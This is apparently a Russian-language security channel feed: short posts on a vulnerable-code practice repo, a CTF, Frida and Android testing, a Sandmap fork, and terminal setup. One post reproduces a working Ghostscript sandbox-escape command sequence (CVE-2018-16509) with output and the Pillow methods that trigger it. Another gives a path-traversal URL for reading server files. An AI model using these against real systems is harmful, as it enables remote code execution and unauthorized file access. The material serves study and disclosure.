👨💻 Уязвимые фрагменты кода\n Если хотите попрактиковаться в анализе защищенности кода, то обратите внимание на репозиторий от YesWeHack, которые каждую пятницу публикуют у себя в твиттер фрагменты кода с различными уязвимостями.\nФрагменты кода удобны для начинающих, но подходят для всех уровней. Репозиторий также содержит скрипт для установки и тестирования этих фрагментов кода локально.\nСсылка на GitHub \n#code #web
Бывает, что функций программы недостаточно, чтобы полноценно выполнять задачи. Тогда можно поискать что-то другое или залезть в код — и доработать приложение. Так и сделал наш коллега с парсером argparse. Рассказ об этом опыте — у нас в блоге. \n🐍 Статья рассчитана на читателя с уверенным владением Python.\nЧитать
[OUTDATED] Уже через 4 минуты начинается CTF.Zone 2022!\nВ этом году я также принимал участие в разработке и тестировании тасков.\nЗадачки обещают быть очень интересными :).
Python - PIL/Pillow Remote Shell Command Execution via Ghostscript - CVE-2018-16509\nОфициальное описание: https://www.cvedetails.com/cve/CVE-2018-16509/\nОписание:\nGhostscript - это набор программного обеспечения, основанный на интерпретаторе языков описания страниц Adobe Systems PostScript и Portable Document Format (PDF). По каким то причинам, во многих системах Ghostscript является предустановленным пакетом, даже если в системе не используется (/usr/local/bin/gs или /usr/bin/gs). КУЧА уязвимостей обноружено в Ghostscript и одна из них - CVE-2018-16509. Суть заключается в следующем:\n/invalidaccess checks stop working after a failed restore, so you can\njust execute shell commands if you handle the error.\nТ.к /invalidaccess перестает работать после того как падает - мы можем добиться исполнения кода:\n$ *gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null*\nGS>*legal*\nGS>*{ null restore } stopped { pop } if*\nGS>*legal*\nGS>*mark /OutputFile (%pipe%id) currentdevice putdeviceprops*\nGS<1>*showpage*\nuid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)\ncontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\nПроблема заключается в том, что PIL/Pillow при открытии изображения автоматически определяет его тип. В нашем случае - EPS. Тело EPS будет обработано Ghostscript’ом с использованием модуля subprocess: https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py#L146\nТаким образом, уязвимы все методы которые так или иначе вызывают .open(). Перечень: \n1. resize\n2. crop \n3. rotate\n4. save
Недавно пришлось сильнее углубиться в Frida. Наткнулся на несколько интересных статей, посвященных данному вопросу. Также, коллега поделился своими наработками, которые будут опубликованы тут в виде ссылки. \nПолезные примеры скриптов можно найти тут. Мне это очень сильно помогло в момент, когда я хукал объект из листа. Так как Frida не умеет в определение скоупа таких объектов самостоятельно - пришлось использовать такой метод: \nvar classA = Java.use("A");\nvar objClassA = Java.cast(pointer, classA);\nО том, как работает android и на какие места стоит обращать внимание можно посмотреть тут. Рассматриваются особенности платформы и особенности атак на android приложения на реальном примере проведения анализа защищенности приложения Spotify. \nЦикл статей, посвященных обратной разработке, рассмотрению кода и проведению атак с использованием Frida можно найти тут.\nДоклад Егора Богомолова на тему атак на Activity & Intents можно найти тут. Данная статья взята с выступления Егора на Offzone 2019. Хочется сказать, что в этом году пройдет Offzone 2022, в котором каждый сможет принять участие. \nНаиболее часто встречающиеся уязвимости в WebView можно посмотреть в данном чеклисте (Спасибо @mlsdmitry).
Есть прикольная тулза под названием Sandmap. Она поддерживается только для GNU/Linux (Так вышло).\nНо так как у меня мак, а тулза приглянулась, пришлось форкнуть:\nSandmap for MacOS. \nЭто некая обертка над nmap engine с интерфейсом, схожим с интерфейсом Msfconsole. Разработчик пишет об Sandmap следующим образом:\nSandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning and allows you to easily use many advanced scanning techniques.\nКак пользоваться можно прочитать тут. Гайд по установке в README.
В duckduckgo нашли прикол:\nhttps://duckduckgo.com/?kad=../../../../../../../../../../usr/share/doc/openssh-client/faq#3.0\nЧитать можно исключительно файлы с расширением .html. \nБаг или фича?
Сейчас я переехал на Мак на чипе m1 и решил с ITerm переехать на Alacritty, который, якобы, быстрее работает в плане GPU rendering\'a. \nМогу сказать одно - это было крайне больно. \nНачать стоит с моего сетапа:\n1. alacritty - openGL terminal emulator;<br/>2. zsh - shell <br/>3. oh my zsh - framework for managing Zsh configuration. <br/>4. tmux - multiplexer <br/>5. neovim - vim with plugins <br/><br/>\nДля начала стоит поговорить о конфиге: alacritty необходимо скормить файл конфигурации в формате YAML. Любая ошибка в синтаксисе и alacritty дропается, оставляя в закромах логи о том, что же пошло не так. Сразу советую использовать все debug фишки, поставляемые alacritty. Они позволяют дебажить конфигурацию на лету. \nСамая большая проблема - использование шелла в купе с мультиплексором - tmux. Во всех примерах конфигурация выглядит следующим образом:\ntmux attach || tmux - если сессия запущена, то стараемся использовать ее. В ином случае создаем новую сессию мультиплексора. И все бы ничего, но в этом виде alacritty закрывалась сразу после открытия, если использовать команду open Alacritty.app. Но если запускать бинарь напрямую - все работает хорошо. Открывать эмулятор из другого эмулятора не круто. Было найдено решение:\nsource ~/.zshrc; tmux attach 2> /dev/null || tmux . \nПроблема с запуском решена, но появилась новая - автодополнение, которое делается с помощью oh-my-zsh плагина окрашивается мультиплексором. Фикс с описанием проблемы. \nПроблемы с шеллом решены, можно идти дальше. \nМультиплексор - это страшно. Проблема заключается в том, что неймспейсы команд отличаются от версии к версии и версия для GNU работает не так, как версия для OsX. \nПример рабочего конфига. \nПо образу и подобию можно скрафтить свой конфиг и наконец запустить эмулятор, используя все технологии, описанные выше. Но вот незадача - alacritty просит доступ ко всем директориям после закрытия эмулятора. Тут описано почему так происходит. Для решений этой проблемы необходимо выпустить сертификат. Либо заверенный by Apple (что сделать невозможно, так как я не являюсь доверенным разработчиком), или выпустить self signed сертификат и переподписать им. После того, как бинарь был переподписан - были сохранены все доступы, выдаваемые системой. \nУф.